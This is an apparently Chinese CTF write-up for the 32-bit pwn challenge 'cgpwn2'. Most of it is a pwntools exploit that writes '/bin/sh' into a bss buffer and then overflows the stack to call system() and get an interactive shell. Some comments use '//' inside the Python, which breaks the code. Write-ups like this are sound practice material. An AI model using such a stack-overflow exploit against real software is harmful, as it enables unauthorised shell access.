10_cgpwn2

作者: Zero_0_0 | 来源:发表于2019-04-18 14:06 被阅读0次
1.检查安全防护机制 32位
图片.png
2.关键字查找
图片.png 注:猜测我们需要往里面写入/bin/sh
注:我们有fgets(name, 50, stdin);我们的stdin可以写入bss段里面。
EXP
from pwn import*

elf = ELF('./cgpwn2')
context.log_level = 'debug'

p = process('./cgpwn2')
#p = remote("111.198.29.45"," 31241")
system_addr = 0x8048420
bss_addr = 0x804A080   //注意这的bss段是我们申请的name[]

p.recvuntil('name\n')
p.sendline("/bin/sh\x00")

p.recvuntil('here:\n')


payload = 'A'*42
payload += p32(system_addr)
payload += p32(0)  //有点模糊为什么写入0
payload += p32(bss_addr)

p.sendline(payload)
p.interactive()

相关文章

  • 10_cgpwn2

    1.检查安全防护机制 32位 2.关键字查找 EXP

网友评论

      本文标题:10_cgpwn2

      本文链接:https://www.haomeiwen.com/subject/mgwzwqtx.html